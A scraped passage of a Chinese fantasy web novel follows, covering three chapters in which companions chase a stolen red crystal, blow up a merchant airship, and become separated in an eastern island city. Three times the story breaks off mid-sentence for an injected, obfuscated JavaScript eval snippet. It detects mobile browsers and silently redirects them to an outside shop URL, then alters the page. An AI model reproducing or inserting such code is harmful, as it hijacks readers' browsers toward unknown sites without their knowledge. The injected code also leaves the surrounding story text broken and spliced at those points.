人流将几人冲散。炎煜朱发育未足身形颇小,被推攘到外围,见旁边有个二尺高的花坛忙站上去,见视野开阔便不打算再往前挤。木弈轩见人群汹涌也生惧意,正连连后退,被炎煜朱瞧见,伸手拉上了花坛。 木弈轩笑问:“你怎么也没上前去?” 炎煜朱指着前方喜说:“这儿刚好能看清最前边那个木秤杆,有人正要上去开匣呢!快看!” 木弈轩回头望去:乌压压一片,分不清是人是鬼,都望着那一点金色的璀璨。人群如跃起的浪花般扑向那缕光泽,试图将其卷入其中,汹涌的浪潮最终无功而返,又回归成一片青灰的海。 木弈轩暗自惊叹道:“看来都没有更合秤杆主人心意的宝物了。” 炎煜朱拍着木弈轩肩膀喊道:“弈轩姐你瞧,那些空屋里亮灯了!” 木弈轩不觉已看了许久,这才意识到入夜了,四周坊间却灯火如昼。 却说页目向失了方向,正欲寻找几人,偏又被架在人群中进出不得。斯堪曼在高处瞧见页目向,使了个避人目光的神通,翩翩悬停在他面前。页目向心惊,忙要制止,忽觉周遭人群并无反应,才晓得其中关窍。 “往高处去?”斯堪曼托起页目向,飘至屋顶落座。 页目向赞不绝口:“你果真厉害!能遮蔽大众目光,定是极为了得的幻术。” 斯堪曼后仰靠着屋瓦笑道:“是哄我的吧?我家里人可都会。” 页目向知他故意讥讽却不恼,解释道:“我先天体质有缺,不宜修习《辉照》,故而如此不堪。” 斯堪曼这才想起书中另一记载,顿时明了前因后果。正要回应,却被页目向一把攥住衣袖。 “你看那人手中,可是红晶石?” 页目向目力极佳,十步外的针眼尚能看清。斯堪曼尚未辨明他所指何处,又听他惊呼:“红晶石被兑进去了!” 那青灰的人海骤然翻涌,聚作一点激起万丈波涛。四周屋舍内灯影摇曳,门扉嘎吱作响,传出纷乱脚步声。木弈轩与炎煜朱不知发生何事,只听得人声鼎沸,争相传告:“换心了!换心了!”个个皆作慷慨之态,以他人之喜为喜,愈发癫狂难抑。 炎煜朱好奇道:“莫不是哪个秤杆易物成了?” 木弈轩被这阵势骇住:“我也未看清,不如先寻向哥汇合?” 自屋顶俯瞰,但见后巷忽涌出一队披甲卫士,排开人群,护着那易物之人便要离去。页目向急道:“斯堪曼,你先跟住他!我去寻煜朱和弈轩取箱!”言罢指尖凝出一团光球,抬手抛上空中,纵身跃下屋檐。斯堪曼见状亦收去幻术,背后展开两对蝠翼,循迹追去。 仍沉浸在狂欢中的人群,将天上忽现的一轮圆月也只当作主人家助兴的玩意儿。木弈轩心知是页目向的暗号,忙拽着炎煜朱向光球处挤去。 页目向见二人赶来,急急吩咐道:“红晶石刚被兑进旁边的秤杆里,斯堪曼已追人去了。我们且先盯住这匣子——若有人易出,便向那人索要;若始终不得,待此间人散,再找柳帮管事的讨回。” 炎煜朱恍然道:“怪不得了!方才听得闹嚷嚷的,原来换进去的是自家东西!” 木弈轩蹙眉道:“看这些围客的反应,恐怕许久才能成一桩买卖......自然要走第二条路。但是巨贾之家,当真会如此通情达理?” 页目向也觉方案欠妥,沉吟道:“若不行再请宫府尹出面。只是如今夜深,拖到明日又不知会生什么变故——让斯堪曼去一趟?” 木弈轩道:“这倒可行。若依林晖所言,即便得了木秤杆也开启不得,不如一并带回舍源,请工头大伯施展手艺。” 尚未议出结果,忽闻鸣锣击鼓声骤起,人群如潮水般向巷口涌去,三人当即被裹挟着向前。 炎煜朱疑道:“这是主人家开始赶人了?” 木弈轩应道:“兴许是今日买卖已成,便不再留客了。” 随波逐流间,页目向余光瞥见有人正在搬运木秤杆,恐难再辨认,急中生智排开人群,一个腾空跃至搬运者跟前。刹那间人群静止,烛光大亮,全场目光齐集于这位不速之客。 事发突然,木弈轩实在难以置信,慌忙间一手取出铃铛,另一手紧紧握住炎煜朱的拳头。只见页目向镇静地取出节气令,沉声道:“现在可还能易物?” 见烛火依旧通明,搬运人员答道:“请。”随即落下那十余架木秤杆。 页目向径直走到其中一架前,将节气令存入其中。不过片刻,红晶石便被吐了出来。 见此情形,人声再度鼎沸,竟盖过先前。木弈轩愣得出神,炎煜朱生拽着她去寻页目向,惊道:“向哥这是疯了吗!”又闻一声锣响,人群复又流动。待他二人好不容易挤到页目向身旁,却见页目向镇静自如,偷偷比了个噤声的手势。 木弈轩二人虽知他必有主张,心中仍是困惑难解。话已堵到嘴边如何忍得住?终是炎煜朱冒失开口:“向哥你可看清自己换的是什么?那可是节气令呀!” 不待页目向应答,搬运人员上前道:“诸位,主人有请。” 见对方人多势众,页目向不敢推拒,在众甲卫围送下进了一栋独楼。忽觉内中设计颇为雅致,不由小心打量:地面铺着金松香木,墙嵌黄花纤丝,唯有一面流川屏风伫立房中。那屏风似在眼前开合变幻,待回首定睛,竟凭空多出茶几、蒲团、瓜果点心并一盏明烛——主人家早已端坐上席。 席间另有一位客人,刚摘下帽衫,戴着灵鹿面具,难辨面容。待页目向等人进来,他便起身告辞。页目向觉着此人十分熟悉,一时却想不起何处见过。恰逢主人招呼入座,也就将此念暂且搁下。 入席后,屏风开合间升起四扇障子,甲卫的身影映在障面,个个手持斧钺,威势凛然。主人年近三十,眉色浅淡,面容和气,身着异域长服,倒与纹饰中“小野”的模样有几分相似。旁有一童子跪坐执笔,仪态端正,身后案架上更列着数把钢刀。 主人并不寒暄,开口便问:“几位换出了什么?”话音柔和,却分量十足。 页目向如实道:“一枚红晶石。” 主人轻笑:“换进去的是何物?”谈吐虽轻快,犹似八面埋伏。 页目向谎称:“一块钨金玉牌。” 主人追问:“从何得来?”语句轻描淡写,用意浓墨重彩。 页目向半真半假答道:“传家之宝。” 主人家笑着摆摆手示意送客。屏风恍惚间三开三合,周遭景色再度变幻,再定睛一看,又回到玄关。三人便稀里糊涂出了独楼。页目向紧闭其口,炎煜朱与木弈轩紧随其后,疾步回到旅店房中。 待关上房门,炎煜朱两手抓住页目向双肩急道:“向哥你怎么把节气令扔进去了!这岂不是捡了芝麻丢了西瓜!” “弈轩先去关窗。”页目向低声道,“此乃无奈之举。我见红晶石将被抬回库房,只怕再难寻回。节气令却不同:其一,斯堪曼亦有一枚,可让他再催动寻物口诀;其二,木秤杆虽称刀枪不入,想来也抵不住节气令自内一记能爆,届时自可轻松取回;这三......” 炎煜朱心领神会:“节气令天下仅二十四枚,价值连城。即便未能取回,也绝无更称心之物能将其换出!向哥真不愧是舍源第一精明!” 木弈轩担忧道:“可斯堪曼至今未归,会不会遇上什么危险?” “没有。”话音刚落,斯堪曼便开窗跃入室内。 页目向问:“怎么这时才回来?可是遇到了麻烦?” 斯堪曼径直走向床榻:“我按你说的跟着那人到一栋独门小楼前,他进去了,我便在窗外窃听。可惜门窗紧闭,什么也听不见。过了一阵见你们来了,正想跟进去看看,他却出来了,只得继续跟踪。” 页目向恍然:“难怪觉得面熟!” 斯堪曼白了他一眼,继续说道:“我跟了约有几里路,直到汉江水边。他似早已发现我,未及交手便跳入水中。待我要下水捉拿,他却浮上岸来,说了句‘东海见’,便消失无踪了。” 听罢,页目向哭笑不得:“这是非要我们去东海不可?” 炎煜朱自然欢喜,乐呵呵的不作声。 木弈轩劝道:“不过多半月行程,倒也能求个心安。” 页目向无奈点头,又对斯堪曼道:“还得劳烦你一事。” 斯堪曼正闭目养神,轻哼:“你倒惯会编排我。” 页目向讪笑:“待夜深了,要仰仗您再去寻一次节气令。” 斯堪曼蹙眉:“又丢了?” 页目向将先前计策又说了一遍。 斯堪曼赞道:“原是我小瞧你了,这倒算个主意。”言罢取出另一枚节气令,念动口诀,又升起一缕霜晶飘窗而出。 斯堪曼从床上撑起,幻化为一只夜蝠夺窗飞出,不一会儿又径直飞回:“情况有些不对劲,霜晶道直直地通向天上。” 屋内三人听说如此都挤到窗边,见得月相阴阳对半,漆空浓烟纹罩,星辰扑朔难辨,一缕寒霜径直而上没入其中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572394|187047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木弈轩道:“我在学堂时听说北境沙国有种载具唤作空舟,转桨凭空,日行千里。柳帮的库房也许就在天上?” 页目向思索一番叫住斯堪曼:“若是在天上,守卫必定有限,地面支援不上。就怕留了什么机关险境,你独自难以应付。我们同你一起去瞧瞧,彼此好有个照应。” 见斯堪曼面露疑虑,页目向接着解释道:“煜朱会凌空术,我使白驹,提口气也能扶弈轩上去。”斯堪曼这才点头应允。 几人各施手段探入云层,果见一艘飞舟悬于云海之中。 木弈轩叹道:“亲眼得见,果真不同凡响。” 众人小心落至船尾,借帆布遮掩窥探船上动静。页目向低声道:“都仔细些,眼下虽不见人,霜晶却指向舱板——那边正有道楼梯......” 斯堪曼闻言再度化作夜蝠,悄无声息地潜入其中。 等候约一个钟头仍不见回音,页目向皱眉道:“斯堪曼不该耽搁这般久。我与弈轩先进去查探,煜朱速回城中,与宫府尹说明情势。” 未等炎煜朱答应,不知谁喊了一句:“哪里来的孙子偷到祖宗头上了!” 三人心惊,突地一柄链锤照着炎煜朱面门飞来。幸得他反应机敏,天目光转间双臂腾起烈焰,硬生生架住那柄链锤。 他正要发力拽出偷袭之人,奈何对方气力更猛,反被链锤带得抛向半空。炎煜朱急忙撤手,借势翻身稳住身形,当即施展凌空术。 “好小子!”那人也跃上空中,抡起链锤就要再掷。 页目向急忙挥出几道光刃斩断铁链,铁球失了牵引直直坠向甲板,震得船身剧烈摇晃。 木弈轩迅速撒出种子,木神铃铛在她手中急摇——破壳、抽芽、生蔓,疯长的植物顿时盘踞甲板,绽出片片青黄色小花。 那力士落回船板,骂道:“净耍花招!”随手扯过一根枝条含在口中,霎时三春转秋,万木同枯。 页目向护住木弈轩:“这手段邪门,小心别让他近身!” “防我近身也防不住。”力士耳力奇好,尽管说得小声仍听能得明白,边说着边抽出腰间所配双刀,“刚溜进舱里那只蝙蝠小子倒还有些俊采,你们几个的话?一起吧。” “向哥轩姐躲着些!”炎煜朱在天上喊道,高举着天火流星就要掼下。 力士飞身一步跃出半空夺过流火,光与热尽数在他手中消散,忽然寒风拂夏,瞬时白昼入夜。 炎煜朱脖圈红透,怒打了一连套拳法,皆被对手一一避过。倒是力士抓了煜朱一个破绽,左臂奋力一振将他震落下来。 页目向忙跃出接过炎煜朱,力士又要来拦他。 “你不要这破箱子,我可带走了?”斯堪曼倚着舱门口喘息,身边赫然便是一口木秤杆。 “幼稚。”力士仍有几分玩心,转而攻向斯堪曼。 “页目向念咒!” 页目向虽稍显迟疑仍急速催动节气令。斯堪曼亦早将自己那枚节气令护在胸前,力士双刀刚挥至他面前,只听木秤杆内噼啪作响,千万道能量奔涌四溢。轰隆巨响中,力士被震飞倒地,炽烈光芒瞬间吞噬整艘飞舟,碎片纷落如雨,一时间烟尘翻涌,火星迸溅。 斯堪曼因有节气令护身未受大碍,自烟尘中振翼飞出。页目向念咒时便已携着煜朱、弈轩先行撤离飞舟,虽受余波冲击却无大碍。几人刚松得一口气,不料那力士竟还有余力,抓起身边碎木便向页目向掷去。页目向白驹术尚未纯熟,闪避间身形不稳,木弈轩当即脱手坠落。斯堪曼俯冲而下,急忙接住。此时飞舟燃尽,轰然解体,船上货物连同那力士如骤雨般倾落。 页目向一眼便瞧见了坠落的节气令,正要飞身去接。那力士仍不甘心,猛一发力将节气令击向远方,这才力竭坠下。 页目向气极反笑:"斯堪曼,弈轩和煜朱暂且托付于你。我瞧清了下落轨迹,去去便回!"说罢白驹身法展动,疾追而去。炎煜朱恐他独行遇险,连喊等等便要跟上。木弈轩本欲劝阻,见他执意如此,只得由他同去,自与斯堪曼降下地面等候。 斯堪曼打量了一下四周,皱眉道:“这里不是玉湖外森林。” 木奕轩以为天上地下难免有些距离偏差,并未在意:“兴许到了岳山郡?倒也不算太远。” 斯堪曼没应答,找了片干净草地躺下。木奕轩也只能就地坐下等待。 待到三更时分,斯堪曼道:“先睡一觉罢,天亮或许就回来了。” 歇到四更天,木奕轩惊醒:“怎么一宿未归?” 等至五更天明,二人已循着页目向离开的方向寻人去了。 18. 东海篇-岭上开花 页目向追出去不过几里路便落地捡回节气令,转身要回去却瞧见一青衫兜帽客悄然跟在身后,凭他戴着的灵鹿面具认出他正是前一位换心人,佯装镇定主动招呼:“您可是柳帮商人?我有一朋友正好在找柳帮做事,他脚步略慢就在林里不多时就到了,您可先等等他吗?” 商人听罢笑出声来,倒显得页目向谎话格外拙劣,缓了缓才说:“往前再走二十里路便是坂奈城,是入东海诸岛第一关要。城中有家酒庄叫‘岭上开花’,听说正设一牌局,庄家拿出珍宝做奖赏,我打算去赌赌运气,你可愿意一同前往?” 页目向觉着奇怪:“你可不是说错了?我先前还在淮阳城中,两地相隔少说千里怎会……” 商人佯装痛心疾首叹气道:“我瞧见天上明晃晃一团,定是我帮飞舟出事,哎!” 页目向大概猜到他言外之意,仍觉荒诞不可信,于是答复:“多谢告知,我还需停留片刻等等同伴,您先请罢!” “若错过了三更天,牌局胜负怕早已落定,宝贝也不知落入谁手,你记得快跟上。”那人真不等页目向,生风般往坂奈城走去。 页目向心想:若线索断了怕又要多生事端,不如快去快回。于是下定主意跟了上去。 入了城中,黑灰色的道路两旁是紧密不透风的短脚木屋,障子窗像是面上的线成排般流动于屋墙之间,仅能凭檐下的连断区别不同人家。檐下吊着淡黄发白的纸灯笼,说作中发白,又唤□□;门前蹲放着生着青苔的刻字石灯笼,称为一字板,别名四暗刻;道侧拦置印有歌乐文的五彩花牌灯笼,当是做生意的揽客招牌,都叫它九莲宝灯。路上行人不多但声音不绝显得热闹,城镇在百灯交相辉映下弥漫出一种暧昧的紫色调。 页目向不识歌乐文但也晓得其大概走样,见了那些灯笼便更信了商人几分,一路跟着他走到间木屋前,瞧见边上花灯印的居然是青龙文字,故认出这就是那家“岭上开花”。 商人脱鞋站上踏板拉开障子走了进去,页目向也学样照做。进去玄关口挂着许多面具,样式有人物传说亦有飞禽走兽。商人摘了枚猿猴面扣在页目向脸上,笑说:“小心别丢脸了。” 走廊尽头的房间人声嘈杂、热闹非常,页目向循声望去,一群人围坐一桌,或唏嘘或高呼,料想这便是商人所说牌局了。 商人去了兜帽说道:“先与你分说几句。他们玩的是叶子牌,又称八字牌。进去后若有空位便坐下,开局后按右上左下次序,庄家会依次向客人发牌。每轮你可捡取当前牌,亦可任其流向下家等候其他牌——每轮仅能收取一张,称为''置入''。如此循环八轮,需凑齐三册''牌图'',形制为三三二。牌上纹样分八类四属,共三十二种,每种各两张,你再照着《叶子图谱》拼出点数最大的三册牌图,分别与上下家比对。初始先计你五十点,胜上家则加其点数,负下家则扣减相应点数。无论几局,点数先达一百点便叫‘夺魁’,若途中点数扣尽则算出局,由下家夺其位,空席以待新客——可明白了?” 见页目向点头,他继续道:“八轮中唯有第三、六轮设有‘未济’之规矩,此轮庄家发牌,你可用前轮所置牌与之交换,但若该牌已流至下家,便不可追悔。其余规矩,你入局后自然知晓。不如先翻翻《叶子图谱》认认牌罢。” 页目向接过商人丢来的图谱,认了一些字样和牌图才发现这所谓八类四属正是天地易经,倒也从小熟读不免增了些信心,又瞧见正好刚有人出局便接替入席。 牌桌首尾衔环,内设机关,桌面可环绕活动。庄家在里站着发牌,轻敲铜钟示意新一局起手。发到页目向面前的是一张天牌,他还想着凑什么牌型最佳,忽听得惊堂木一拍,骤然桌面转动又流了张冰牌来。页目向怕再次轮空只得先抓来凑数,稍得了空去翻图对案才懊恼不已——捡了张独册牌。流掉的天牌倒是张百搭,偏又被下家捡走,于是更觉失策。 折扇嗖地一展,庄家摇扇再一合示意二轮开始。页目向得了张弓轮,心意却盯着上家的山牌。上家戴着老狼面,应该是个熟手,轻快捻起那张山牌置入手中,也算断了页目向一番念想。页目向略感失望,后手似乎也并无什么好牌,便随手置入一张大舆。 八盏小碗呈上各位桌前,庄家提壶绕桌斟茶,原来是三轮前的过场。页目向正要换出冰牌,却见来了一张雨泽,正好与冰牌凑图,不敢犹豫急忙抓上,又突然想起上家已拿了一张山牌,刚想悔过放下被庄家哼声警示只能悄声拿回。 庄家先是舞神后是举杯,抿着嘴巴又吐了团真火愉悦诸人。页目向此前已拿了工绳和风牌,眼下发来一张雷电,若是第一轮抢了天牌这局该算是天胡。老狼这轮运气好,也得了张天牌,他自然不会错过机会,立即置入。上上家是张狡狈面,页目向瞧见他悄然置入巫牌,将手中山牌换出,并重重一点。于是流了雷电要等山牌,老狼见状只得隐忍不发。 又是击响木、又是鼓锣锤,庄家十八般才艺真是平添热闹。狡狈有意在帮页目向,几番抓空喂了页目向小石与水两张好牌,恰好凑成三册牌图:“雪山寒江”、“投石问路”、“水风井”,共计一十五点。老狼差一张云雾也能有十五点,只可惜手气不佳,另外狡狈有意提防,早早将其中一张云雾捏攥手中不放。上下相较,这第一局页目向竟赢了七点,如此信心倍增,倒也不怕再玩几局。 不知庄家操持了几个来回,页目向也愈发熟练。也不知是否因为新手运气好,他确实累到了七十点,还兴奋觉着这叶子牌果真好玩,只晓得要赚够一百点,也忘了夺魁是为什么。 对坐着一人白枭面,牌技奇好,几局下来面上已有了九十余点。这边狡狈虽也有些巧思,奈何管不住远家,只能寄希望全场一致押宝他上家,缓一缓局势。座上都不是愚笨的人,只是少了些默契与团结。页目向恰好是白枭面上上家,本还算半个盟友,如今也不得不支持下家以求拖延。 如此又撑了几局,要到了五更天。这最后一局白枭手气极佳,自摸了一副"风雷相生"先步夺魁。页目向仿佛大梦初醒,懊悔不已。庄家走出环桌,取过高台上供着的礼盒。这时页目向才注意到原来奖赏就在一旁静静的摆着,而那引路的灵鹿早已不在这酒馆中了。 白枭面接过盒子便起身走了。页目向想跟上前去却被庄家拦住,他听不懂歌乐语只能用手比划示意,庄家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572395|187047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却突然讲青龙语:“阁下的底钱还没结。”页目向一时诧异,庄家念咒般絮叨着:“一局台钱一金,阁下玩了九局,合计九金,点数余五十三点该还退三金,共差六金的台钱。” 页目向自觉理亏却实在生气:分明是被柳帮那小子摆了一道,可他哪里有这么多钱?只能佯装着要从乾坤袋里掏出些什么,边念诀就要使白驹飞逃。可瞬间眼前一面扇子开合,四周景色变幻不知去路,于是又陷入这东海国的“能面川”中。在一片白茫茫中不知过了多久,他突然听见有人谈话,只是语言不通仅能辨别出“源君”等重复音节,也不知他们说的什么。他们说完就现了身。页目向一眼便注意到他们袖口那凤凰梧桐的纹样——原来是梧桐商帮的人呐。 为首的揖礼道:“贵国虽然有古话言‘不知者无罪’,可阁下的确欠了我们六金,不如以工代偿如何?”见页目向不作声,他继续补充道:“店主得了一件奇宝,要送去平京都献给上面主人。”见页目向面露迟疑,又忙解释说:“并非凶物,其中另有缘由。此去沿途多刁民,海上多悍匪,昨日青家的飞舟又失事,颇不太平,故需专人护送。”说罢呈上木匣,掀开锦缎——里面不是黄玉冠又是何物? 页目向本还有些惭愧,见到黄玉冠后心中乱鼓擂鸣:黄玉冠怎会凭空出现在这里?若真是什么算计,也未免太不防备我了!可若真答应了再反悔,未免太小人了些......他们又怎么信得过让我去送?总不会爷爷的安排当真如此周密!可若是不答应,莫说如何拿回黄玉冠,便是想从这幻境脱身也难。弈轩、煜朱、斯堪曼等我久了应该也着急,兴许已经寻我来了。虽然明抢也不是头一次,只是先前还可归咎事发突然,不是我的本意……不如先应下,看看如何! 对面见页目向应允,笑道:“我们已经找好一位勇士与阁下一同护送。季君,请上前来。” 被称作季君的少年应声走来。他生得清俊瘦小,额前蓄发,脑后扎髻,身着袖窄身宽的袍服,腰间配一柄竹鞘长刀。他躬身行礼道:“在下稻谷田季。” 页目向不由失笑,心想:这异国他乡竟也书同文、行同礼?怎么个个都会青龙语?答道:“季君唤我目向即可。” 稻谷田季再鞠一躬:“是,目向君!” 页目向略感不适他这般郑重。 梧桐商人又嘱咐道:“目向君与季君务必快马加鞭,将宝物平安送至平京都主人手中!” 又是那柄折扇转过,众人回到店中。几名梧桐商人簇拥着两位护送者就要往店外驿站赶。 页目向见他们如此急迫,忙道:“请稍等,我在城中尚有未了之事,能否宽限几个时辰?” “护送珍宝优先。目向君的事,我们可以派人代为处理。” 页目向强调再三无果,眼看就要被强行带走,只得妥协:"那请答应我,若有人来坂奈城打听我的去向,务必要如实相告!"听得对方满口应承,页目向这才勉强动身。 却说斯堪曼与木弈轩也到了城门前。沿途上见着不少蹒跚的酒汉和起早的挑夫,去路醉生,来行梦死。红日被远山遮了半幅,初露晨光,或许今朝倒是个生机盎然的清晨。 19. 东海篇-鹿角医生 木弈轩对着城门上牌匾念道:“坂奈城。” 斯堪曼挑眉:“看,果真到了异邦。” 木弈轩若有所思:“想必是飞舟一直在前行,不知不觉已载我们行出千里。” “偏偏在这异国他乡走散了。若是向哥和煜朱找到了节气令还好,若没找到,真不知该如何汇合!” “曼哥,节气令蓄能当真要满十二时辰,少一刻都不行吗?” “我们不通歌乐语,言语不通无处打听。连向哥他们是否进了城都不知晓,更别说是否已经会合,实在令人着急!” 木弈轩心中焦急,不停絮叨。斯堪曼虽觉烦扰,却仍由她发泄,偶尔应声安抚。二人先往卫城厅去,接待的卫官结巴半晌,勉强挤出几个青龙字,终究是鸡同鸭讲。只得悻悻离去,如同涂漆般搜遍坂奈城上百条街巷,直至晌午方觉腹中空空。 “你也累了,不如去找家旅店歇息吧。”斯堪曼提议,“开门做生意的都聪明,没什么语言不通的说法。”木奕轩点头应允,想着无论如何也得过了午夜才有后话,到时免不得再要费些体力。 木奕轩早注意到街头招牌有不少假借青龙文:“那边招牌上几个字带着食旁像是饭馆,不如就去那家吧。” 斯堪曼并不讲究饮食,闻言上前叩开障子——果然是家饭馆。店主双手叠于腹前欠身行礼,明黄色袍服的袖口绣着芒尖月纹,昭示此处亦是五光商帮的产业。 斯堪曼面露不耐,就要离开,恰好被跟上来的木奕轩挡住去路。 木奕轩问他:“怎么了?” 斯堪曼停步:“没什么,我不饿,你点自己的就好。” 木奕轩满脸狐疑正要追问,店主开口道:“两位贵宾请这边入座。” 闻言木奕轩睁大双眼,喜上眉梢:“您会说青龙语?” 店主笑说:“我们商人做生意,免不了来往走动,各地语言都能说几句。” 木弈轩兴奋道:“我们来坂奈城找人,请问您可曾见过两个少年?一个穿青墨色水衫,另一个穿红底白边的薄袄,都说青龙语。” 店主似在回忆,木弈轩眼含期待地望着他。斯堪曼轻哼一声,点了几道贵价菜,扬声道:“您可以慢慢想,麻烦说得仔细些。” 店主笑答:“店里我不曾见过。不过坂奈城面积不大,若他们尚在城内,可去岭上开花打听;若已出城,不妨问问坂奈车站,定能寻得消息。” 斯堪曼讥讽道:“照此说来,卫城厅倒成了摆设。” 二人匆匆用罢饭食,循着店主所指方向往岭上开花去了。 早时页目向刚到车站,梧桐商人催得紧,也不理会他那些拖延章法,半架着就往车上送。这车也怪,外看像个青果,内里是空心木厢,两侧各开四五个一尺宽的小窗,十分闭塞。 “掌柜怕人多眼杂,包了整辆车。直坐到滨海津再换船。” “你们不一起?”页目向问完便觉着自己多嘴。 “店里生意忙,又缺荷官,实在走不开。” “不怕木向君笑话,我们从未出过坂奈城哩!” 页目向正自疑惑,又被梧桐商人催着出发,只得靠窗坐下。季君抱着宝盒紧挨一旁,车上除司机外再无他人。待商人们下车,车便沿着路轨往前驶去,渐没入远方天际。 再说斯堪曼与木弈轩寻至岭上开花,不知需戴面具的规矩,贸然闯入里间。庄家与赌客纷纷侧目。木弈轩觉着此地不宜久留,正要退出,斯堪曼却浑不在意,上前问道:“可有会说青龙语或德洛特语的?” 众人默然观望,只等掌柜处置这不速之客。四下安静得瘆人,一柄折扇悄然展开。斯堪曼察觉异样,掐诀施术,凭空扬了把金沙。木弈轩恍惚间似又见到那幅流川山景,只是未及显现便消散无踪。 木弈轩在青白坊已见识过类似手段,忙问:“这是?” 斯堪曼道:“东海国有幅传世名画《能面川》,后世多有摹本。无论制成屏风还是折扇,皆有将人纳入画境之神奇。” 木弈轩刚要追问:“你怎会......” 斯堪曼抢先答道:“书上见过。” 隐在赌客间的掌柜看得分明——此乃他首见《能面川》失灵,惊诧之余想起页目向先前嘱托,忙示意手下出面周旋。 不知从哪闪出一位白袍商人,上前问道:“阁下可是木向君的好友?” 斯堪曼见又是五光商袍,嫌恶地皱起眉,由木弈轩点头应下。 白袍商人解释道:“木向君因赌局欠下六金,掌柜便委托他护送货物抵债,现已前往平京都。临行前他特意嘱咐,若有人来寻,定要告知去向。” 木弈轩急问:“他从来没有什么好赌的习惯,会不会弄错了名字?” “万分确定。前些时候刚走,是在下亲自送上的车。” 斯堪曼问清车站方向,拉上木弈轩便走:“先去追上那个冒失赌鬼,让他好好说个明白!” 木弈轩正要跟上,忽又转身问道:“店家,请问他身边是不是还有个少年同行?” 白袍商人略作思索:“确是二人同来。不过另一位似有要事,早已离去,他的去向在下便不知了。” 木弈轩不及再问,已被斯堪曼拉住,匆匆赶往坂奈车站去了。 却说炎煜朱挨了力士一记重击,本来无觉大碍,正奇怪底下风景怎么变化许多,忽感心悸目眩,气力一泄,直坠而下。待被好心路人喊醒,急问什么时间,一听已过晌午,连呼不妙——这追人不及反把自己丢了。 他随人流进了城,却又不识道路。眼见连绵的灰瓦木屋样式陌生,心中愈发惶惑,逢人便问"福来客栈怎么走"。路人要么不搭理要么一嘴奇怪腔调,只留他干着急。等他猛然瞥见一家店铺匾额上书《坂奈城清屋》,方才惊觉自己似乎已不在青龙国境中。 炎煜朱盘算着:若去求助卫城厅倒也能回去,只是向哥他们下落不明,我若独自回去太不仗义。不如在此等候他们来寻,幸好向哥总说什么鸡蛋不鸡蛋的,分了二金给我,应当够用些时日。自觉此计甚妙时,忽又是一阵钻心剧痛,当街晕倒在地。 炎煜朱勉强撑起身,发觉自己卧在榻上,环顾应是处民居,向眼前唯一的老人问道:“是您救了我?” 老人停顿片刻方答:“见你晕倒在地,是挑夫太郎将你背回来的。阁下是青龙国人?” 炎煜朱微微一怔:“您也是?” “不不,只是年轻时学道,略通青龙文字。说起来,那时候青龙语还称作“上文”哩!那时候......”老人说到这有些黯然神伤,见炎煜朱挣扎着要起床,忙来搀扶,“你肩胸间淤血极重,我只做了些简单处理,你仍需静养一段时间。” 炎煜朱思索片刻:“老伯我看你人挺好,又能交流,能否让我就借住你家医馆......” 老人慌忙打断:“莫要提什么医馆!这里不过是寻常民居!你也非我病患!” 炎煜朱纳闷他突然这么大的反应。老人贴向窗户看了看外边,确定无人才敢解释:“东海不是谁都能当医生的!” 炎煜朱以为然道:“那自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572396|187047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是各地通用的道理呀。” “不不不,”老人连连摆手,“这个国家只有鹿角医生一种医生,其他人哪怕是精通医术也无门路。” 炎煜朱疑道:“什么是鹿角医生?” 老人又朝窗外瞥了一眼:“小兄弟可曾听过五光?” 炎煜朱撇嘴:“所以这鹿角医生又是哪一光的招牌?” 老人摇头:“东海是商人治国。大商们在六部皆有人脉——或者说,六部的官员本就是大商帮扶上去的,此所谓‘商择优入仕’。但这也是近些年的说法,再往前数,就得论血脉。有些商人是旧时勋贵,在大创革新后不得已才下海经商。那时大产业早被五光瓜分殆尽,他们先天不足。近些年因局势变化,老勋贵借政策弥补短板,连颁《教标令》《土地令》与《鹿角令》三令。其中《鹿角令》明定医疗资源公有,非持鹿角医师证者不得行医,违者必下大狱!” 炎煜朱点头道:“听上去也没什么不妥,老伯您应当早日去登记证照,也免得担惊受怕。” “若真能轻松登记,老汉我早去了。这三令的标准全在上头,既没具体字条也没明细例证。自三令落实以来,买卖文凭成了专门行当,地价先如泄洪后似山喷,鹿角医生协会更是一滩浑水。若真入了那门去,从此便不再是医者,而是彻彻底底的奸商,生病与否不论事实,全凭医会拍脑袋决定,卖药倒是成了一等大学问!” “怎么敢如此荒唐!”炎煜朱怒上心头,肩口又抽痛起来,忍不住咬牙嘶声。老人忙来搭手让他躺平,见他情绪激动,便岔开话头,聊些别的。 不多时,又听见有人敲门。老人警觉,忙噤声前去查看。刚贴上门,便涌进几名卫官打扮的汉子。 “老田中,有人举报你又私下接病人了。罚金还是蹲几天号子,挑一个吧,都是老熟人了,算你八折。” 老人忙堆起笑:“误会了,误会了,是路人借宿……” 